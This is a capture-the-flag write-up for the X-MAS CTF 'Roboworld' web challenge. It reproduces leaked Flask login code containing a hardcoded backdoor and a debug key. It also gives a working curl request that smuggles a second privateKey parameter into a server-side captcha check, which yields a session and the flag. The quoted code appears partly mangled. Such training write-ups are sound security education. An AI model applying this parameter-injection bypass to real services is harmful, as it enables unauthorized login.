X-MAS CTF: Roboworld

This is my quick & dirty write up for the X-MAS CTF Roboworld challenge.

The description is as follows:

A friend of mine told me about this website where I can find secret cool stuff. He even managed to leak a part of the source code for me, but when I try to login it always fails :(

Can you figure out what's wrong and access the secret files?

Remote server: http://challs.xmas.htsp.ro:11000
Files: leak.py
Author: Reda

We download the source code:

from flask import Flask, render_template, request, session, redirect
import os
import requests
from captcha import verifyCaptchaValue

app = Flask(__name__)

def index():
    return render_template("index.html")

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('user')
    password = request.form.get('pass')
    captchaToken = request.form.get('captcha_verification_value')

    r = requests.get('{}/captchaVerify?captchaUserValue={}&privateKey={}'.format(str(port), captchaToken, privKey))
    #backdoored ;)))
    if username == "backd00r" and password == "catsrcool" and r.content == b'allow':
        session['logged'] = True
        return redirect('//redacted//')
        return "login failed"

def captchaVerify():
    #only has access
    if request.remote_addr != "":
        return "Access denied"

    token = request.args.get('captchaUserValue')
    privKey = request.args.get('privateKey')
    #TODO: remove debugging privkey for testing: 8EE86735658A9CE426EAF4E26BB0450E from captcha verification system
    if(verifyCaptchaValue(token, privKey)):
        return str("allow")
        return str("deny")

A few things that immediately caught my eye:

  • The TODO with the debug private key that we'll likely use
  • &privateKey={} with an unknown private key as an URL parameter.
  • username == "backd00r" and password == "catsrcool" that we'll want to use

My first idea was if we could control the port to rewrite the URL and change the privateKey parameter in the request to the debug key. However, we cannot control the port variable :-/ Instead, we can use captchaUserValue={} and use our user-supplied value captcha_verification_value to override the &privateKey=.

So lets build a value for the captcha_verification_value parameter that will introduce a new privateKey parameter into the request to captchaVerify:

  • user=backd00r
  • pass=catsrcool
  • `captcha_verification_value=URLencode('&privateKey=8EE86735658A9CE426EAF4E26BB0450E#')

At first, I tried this request in Firefox's "Edit & resend" feature, but it automatically decoded the url-encoded parameter and the hack didn't work. I then tried it with curl:

$> curl -d "user=backd00r&pass=catsrcool&captcha_verification_value=98Jd9UFkjm%26%70%72%69%76%61%74%65%4b%65%79%3d%38%45%45%38%36%37%33%35%36%35%38%41%39%43%45%34%32%36%45%41%46%34%45%32%36%42%42%30%34%35%30%45%23" -v http://challs.xmas.htsp.ro:11000/login

This will result in the following URL:, so using # we omit the unknown privatekey parameter.

The server verifies the captcha successfully and replies with:

< HTTP/1.1 302 FOUND
< Server: nginx
< Date: Sun, 15 Dec 2019 18:15:24 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 251
< Location: http://challs.xmas.htsp.ro:11000/dashboard_jidcc88574c
< Connection: keep-alive
< Vary: Cookie
< Set-Cookie: session=eyJsb2dnZWQiOnRydWV9.XfZ4PA.9lDzMk3c6ageqZ_OEw7aY8gjgw0; HttpOnly; Path=/
* Connection #0 to host challs.xmas.htsp.ro left intact
<p>You should be redirected automatically to target URL: <a href="/dashboard_jidcc88574c">/dashboard_jidcc88574c</a>.  If not click the link.

We quickly import the returned session cookie into Firefox and request http://challs.xmas.htsp.ro:11000/dashboard_jidcc88574c and get the following page:


Clicking through the links, the video has some interesting blicking text in it:


The flag is: X-MAS{Am_1_Th3_R0bot?_0.o}